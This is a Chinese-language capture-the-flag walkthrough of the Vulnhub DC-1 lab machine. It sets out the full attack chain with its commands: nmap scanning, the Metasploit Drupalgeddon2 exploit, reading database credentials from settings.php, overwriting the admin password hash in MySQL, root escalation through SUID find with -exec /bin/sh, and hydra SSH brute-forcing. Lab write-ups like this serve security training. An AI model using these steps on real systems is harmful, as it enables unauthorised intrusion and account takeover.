Vulnhub靶场DC-1

下载

靶场下载地址：https://www.vulnhub.com/entry/dc-1,292/

解压完后使用vmware打开.ova文件

配置

设置网络适配器为NAT模式

测试靶场

1.kali探测ip

arp-scan -l

2.对靶机ip进行扫描

nmap -A 192.168.190.240 -p 1-65535

发现开放了22算口，开放了ssh服务，OpenSSH 6.0p1  
发现开放了80端口，存在web服务，Apache httpd 2.2.22，Drupal 7  
发现开放了111端口，开放了rpcbind服务
访问站点

发现是一个电信的drupal服务，根据nmap结果可知当前运行的是Drupal 7的CMS
利用MSF

3.msf

search drupal

选择模块进行测试

use exploit/unix/webapp/drupal_drupalgeddon2

设置ip

启动msf

4.getshell

发现是www-data权限
使用python反弹一个交互式shell

python -c "import pty;pty.spawn('/bin/bash')"

Drupal的默认配置文件为
/var/www/sites/default/settings.php

cat /var/www/sites/default/settings.php

发现了flag2和数据库的账号密码

flag2提示，提升权限为root来查看敏感文件，或者直接爆破

5.连接数据库

进入数据库

mysql -u dbuser -p

查看数据库，切换到drupaldb数据库

查看查找默认的Drupal user 表

select * from users;

进入www目录

置换drupal密码

php scripts/password-hash.sh admin

然后在进入数据库中把密码字段进行替换  
进入mysql，输入密码，切换到drupaldb数据库
将pass字段进行替换

update users set pass="$S$DW/j0Hhhx6pIBV4ZkoBp3mv/5l8reTwEBdpgzB/x8awTYUfFkd2k" where name="admin";

6.提权

Special PERMS will help FIND the passwd - but you'll need to -exec that command to work out how to get what's in the shadow.
大致意思是提权并提示 -exec，想到suid提权 find 命令

find / -perm -4000 2>/dev/null

使用命令查看 suid 权限的可执行二进制程序

使用命令测试，发现为root权限

touch 666
ls
find / -name 666 -exec "whoami" \;

我们切换语句进入shell，执行whoami查看当前权限，执行ls查看当前目录下文件，切换到root目录，查看文件，发现cat thefinalflag.txt文件。

find / -name 666 -exec "/bin/sh" \;   
whoami
ls
cd /root
ls

此时我们查看 /etc/passwd 文件，发现存在 flag4 用户，我们也可以使用 hydra 进行爆破

hydra -l flag4 -P /root/Desktop/pass.txt ssh://192.168.xxx.xxx

SSH连接登录，拿到flag4权限

根据提示需要得到root权限才能得到falg。
liunx提权一般有四种提权方式：
sudo提权，通过命令sudo -l查看是否有可提权的命令。
suid提权，通过命令find / -user root -perm -4000 -print 2>/dev/null查看是否具有root权限的命令
系统版本内核提权。
通过数据库提权。

发现_find_具有root权限
直接执行命令
进行提权

7.成功获取flag